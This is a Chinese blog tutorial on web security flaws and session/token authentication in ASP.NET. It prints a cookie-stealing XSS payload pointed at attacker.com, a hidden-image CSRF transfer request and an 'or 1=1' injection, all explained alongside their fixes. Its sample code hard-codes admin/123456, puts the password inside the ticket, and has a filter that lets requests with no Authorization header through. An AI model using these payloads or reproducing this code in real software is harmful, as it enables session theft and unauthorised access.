第八節:常見安全隱患和傳統的基於Session和Token的安全校驗


一. 常見的安全隱患

 1. SQL注入

 常見的案例:

String query = "SELECT * FROM T_User WHERE userID='" + Request["userID"] + "';

這個時候,只需要在傳遞過來的userID后面加上個: or 1=1,即可以獲取T_User表中的所有數據了。

解決方案:參數化查詢。

2. 跨站腳本攻擊(Cross-Site Scripting (XSS))

允許跨站腳本是Web 2.0時代網站最普遍的問題。如果網站沒有對用戶提交的數據加以驗證而直接輸出至網頁,那么惡意用戶就可以在網頁中注入腳本來竊取用戶數據。

eg:通過后台代碼編寫前端代碼進行輸出

1 string page += "<input name='userName' type='TEXT' value='" + request.getParameter("CC") + "'>";

攻擊者只要輸入以下數據:

'><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi ?foo='+document.cookie</script>'

當該數據被輸出到頁面的時候,每個訪問該頁面的用戶cookie就自動被提交到了攻擊者定義好的網站。

解決方案:輸入的數據要進行安全校驗和轉義

3.跨站請求偽造(Cross-Site Request Forgery (CSRF) )

同樣是跨站請求,這種與上面XSS的不同之處在於這個請求是從釣魚網站上發起的。

比如釣魚網站包含了下面代碼:

<img src="http://example.com/app/transferFunds?amount=1500&amp;destinationAccount=attackersAcct#" width="0" height="0" />

這行代碼的作用就是一個在example.com網站的轉帳請求,客戶訪問釣魚網站時,如果也同時登錄了example.com或者保留了example.com的登錄狀態,那個相應的隱藏請求就會被成功執行。

解決方案:

  使用Token校驗,保存好Token,比如:JWT校驗。

 

二. 兩類系統要解決的常見問題

1. Web系統

(1).是否登錄. 沒有登錄話是不能進入登錄以外的頁面,即使訪問,也要返回到自動進入登錄頁面。

(2).是否有權限. 權限的展現分兩種:a. 沒有權限的話直接不顯示. b. 沒有權限但是顯示,單擊的時候提示沒有權限。

2.APP接口

(1).接口安全,不是任何人都能訪問的,必須登錄后才能訪問,當然也有一部分不需要登錄。

(2).防止接口被知道參數后任何能直接訪問,要有校驗,即使地址暴露別人也訪問不通。

 

三. 傳統的基於Session的校驗

1. 前言

  基於Session的校驗,通常是用在管理系統中或者網站上,不適用於APP接口或者前后端分離的項目。

PS:復習一下Session的原理:https://www.cnblogs.com/yaopengfei/p/8057176.html

2. 步驟

①:登錄成功,將用戶信息(一個實體)和該用戶對應的權限信息存放到Session中。

②:對所有的頁面的展示的地址(前提需要登錄后才能顯示的),加上一個過濾器,在過濾器中判斷該用戶是否登錄過,沒有登錄的話直接退回到登錄頁面。

③:對所有的業務操作的方法加上一個過濾器,在過濾器中判斷該用戶是否該權限,沒有的話,直接提示沒有權限。

注:以上②和③中的過濾器里,都需要到Session中取值。

3. 基於Session驗證的弊端

①:Session經常過期回收,導致Session為空,是一些業務操作莫名其妙的沒法使用。可以改進為使用數據庫的Session,會好很多。

②:由於Session的原理可知,在同一個瀏覽器中,先后用不同賬號登錄,先登錄的賬號Session中的信息會被后登陸賬號Session中的信息覆蓋。

③:每個用戶登錄一次,就需要往Session做一次記錄,而Session默認是保存在服務器內存中的,隨着認證的用戶增多,服務器端開銷明顯增大。

④:不能進行負載均衡,保存在內存中,下次還需要到這台服務器上才能拿到授權。

⑤:Session是基於Cookie,如果Cookie被截獲,用戶很容易受到跨站請求偽造攻擊(CSRF)。

 

四. 傳統的基於Token的校驗

1. 背景

  APP項目或者其它前后端分離的項目,Session驗證用不了,只能用基於token的驗證。當然Web項目也可以采用這種方式。

2. 步驟

①:通過賬號和密碼登錄成功,服務端生成一個token(比如:32位不重復的隨機字符串)。

②:服務端把該token和用戶id保存到數據庫(SQLServer或Redis)或者Session中,然后把token值返回給前端。

③:客戶端每次請求都帶上該token,服務端根據該token來查詢是否合法和過期,然后去數據庫中查出來用戶id進行使用。

3. 弊端

①:驗證信息如果存在數據庫中,每次都要根據token查用戶id,增加了數據庫的開銷。

②:驗證信息如果存在Session中,則增大了服務器端存儲的壓力。

③:token一旦被截取,就很容易進行跨站請求偽造。

4. 鑒於以上弊端進行思考

①:如果token遵從一定規律,使用對稱加密算法來加密用戶id生成token,服務器端只要解密該token,就能知道用戶id了,不需要額外的開銷。 但是,如果對稱加密算法泄露了,別人也可以偽造token了。

②:如果我們用非對稱加密算法來做呢,保存好秘鑰,就不存在上面的問題了,從而引出JWT類似於該原理。

5. 實戰案例(基於Token的小升級)

A. 步驟

(1) 登錄成功,將賬號和密碼按照一定格式進行拼接成字符串,然后進行票據加密(對稱加密,這其中可以設置很多東西,比如過期時間),將生成的ticket返回給客戶端。

(2) 客戶端可以把該ticket值存到localstorage中,每次請求在表頭進行附加。

(3) 服務器端寫一個過濾器,對該ticket進行解密,拿到賬號和密碼,去數據庫中查詢,是否匹配,如果匹配則驗證通過。

B. 深度分析

同樣存在被截取的問題,加密算法如果被人知道,容易被偽造

服務器端驗證:見CheckPer0.cs

C. 代碼分享

(1). 服務器端校驗登錄的代碼

 1        /// <summary>
 2         /// 模擬登陸
 3         /// </summary>
 4         /// <param name="userAccount"></param>
 5         /// <param name="pwd"></param>
 6         /// <returns></returns>
 7         [HttpGet]
 8         public string Login0(string userAccount, string pwd)
 9         {
10             //這里實際應該去數據庫驗證,此處暫時用固定值寫死
11             if (userAccount == "admin" && pwd == "123456")
12             {
13                 FormsAuthenticationTicket ticketObject = new FormsAuthenticationTicket(0, userAccount, DateTime.Now, DateTime.Now.AddHours(1), true, $"{userAccount}&{pwd}", FormsAuthentication.FormsCookiePath);
14                 var result = new { result = "ok", ticket = FormsAuthentication.Encrypt(ticketObject) };
15                 return JsonConvert.SerializeObject(result);
16             }
17             else
18             {
19                 var result = new { result = "error" };
20                 return JsonConvert.SerializeObject(result);
21             }
22         }

(2). 客戶端調用登錄的代碼

  獲取成功,將token值存放到localStorage中。

 1               $.get("/api/Seventh/Login0", { userAccount: "admin", pwd: "123456" }, function (data) {
 2                     var jsonData = JSON.parse(data);
 3                     if (jsonData.result == "ok") {
 4                         console.log(jsonData.ticket);
 5                         //存放到本地緩存中
 6                         window.localStorage.setItem("myTicket", jsonData.ticket);
 7                         alert("登錄成功,ticket=" + jsonData.ticket);
 8                     } else {
 9                         alert("登錄失敗");
10                     }
11                 });

(3). 服務器端過濾器代碼

  該過濾器中通過 actionContext.Request.Headers.Authorization 獲取固定的參數位:Authorization,然后通過 authorizationModel.Parameter 獲取參數值,前端需要分割一下,如下:

  當然還有很多別的賦值和獲取的方式,詳細的見下面章節。

 1  /// <summary>
 2     /// 基於token的小升級
 3     /// 過濾器
 4     /// </summary>
 5     public class CheckPer0 : AuthorizeAttribute
 6     {
 7         public override void OnAuthorization(HttpActionContext actionContext)
 8         {
 9             //1. 獲取報文頭(固定的參數位 Authorization)
10             var authorizationModel = actionContext.Request.Headers.Authorization;
11             //2. 如果標注了[AllowAnonymous]特性,則不進行驗證
12             if (actionContext.ActionDescriptor.GetCustomAttributes<AllowAnonymousAttribute>(true).Count != 0
13                || actionContext.ActionDescriptor.ControllerDescriptor.GetCustomAttributes<AllowAnonymousAttribute>(true).Count != 0)
14             {
15                 //base.OnAuthorization(actionContext);
16             }
17             else if (authorizationModel != null && authorizationModel.Parameter != null)
18             {
19                 try
20                 {
21                     //邏輯驗證
22                     //解密 
23                     var strTicket = FormsAuthentication.Decrypt(authorizationModel.Parameter).UserData;
24                     //此處應該去數據庫驗證
25                     if (strTicket.Equals("admin&123456"))
26                     {
27                         //表示校驗通過,用於向控制器中傳值
28                         actionContext.RequestContext.RouteData.Values.Add("auth", strTicket);
29                     }
30                     else
31                     {
32                         base.HandleUnauthorizedRequest(actionContext);//返回沒有授權
33                     }
34                 }
35                 catch (Exception)
36                 {
37 
38                     base.HandleUnauthorizedRequest(actionContext);//返回沒有授權
39                 }
40             }
41         }
42     }

(4). 服務器端加密后獲取信息的代碼

 1         /// <summary>
 2         /// 加密后獲取信息
 3         /// </summary>
 4         /// <returns></returns>
 5         [HttpGet]
 6         [CheckPer0]
 7         public string GetInfor0()
 8         {
 9             var userData = RequestContext.RouteData.Values["auth"].ToString();
10             if (string.IsNullOrEmpty(userData))
11             {
12                 var result = new { Message = "error", data = "" };
13                 return JsonConvert.SerializeObject(result);
14             }
15             else
16             {
17                 var result = new { Message = "ok", data = userData };
18                 return JsonConvert.SerializeObject(result);
19             }
20         } 

(5). 客戶端調用獲取信息的代碼

 1                //從本地緩存中讀取token值
 2                 var myTicket = window.localStorage.getItem("myTicket");
 3                 $.ajax({
 4                     url: "/api/Seventh/GetInfor0",
 5                     type: "Get",
 6                     data: {},
 7                     datatype: "json",
 8                     beforeSend: function (xhr) {
 9                         //Authorization 是一個固定的參數位置,本來就有這個參數,后台方便獲取,當然也可以自己命名
10                         //在myTicket前面加個BasicAuth1 只是為了后台.Parameter能獲取到而已,至於叫什么名,沒有關系
11                         xhr.setRequestHeader("Authorization", 'BasicAuth1 ' + myTicket)
12                     },
13                     success: function (data) {
14                         console.log(data);
15                         alert(data);
16                     },
17                     //當安全校驗未通過的時候進入這里
18                     error: function (xhr) {
19                         if (xhr.status == 401) {
20                             console.log(xhr.responseText);
21                             alert("授權未通過");
22                         }
23                     }
24                 });

(6). 運行結果

 

 

 

 

!

  • 作       者 : Yaopengfei(姚鵬飛)
  • 博客地址 : http://www.cnblogs.com/yaopengfei/
  • 聲     明1 : 本人才疏學淺,用郭德綱的話說“我是一個小學生”,如有錯誤,歡迎討論,請勿謾罵^_^。
  • 聲     明2 : 原創博客請在轉載時保留原文鏈接或在文章開頭加上本人博客地址,否則保留追究法律責任的權利。
 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM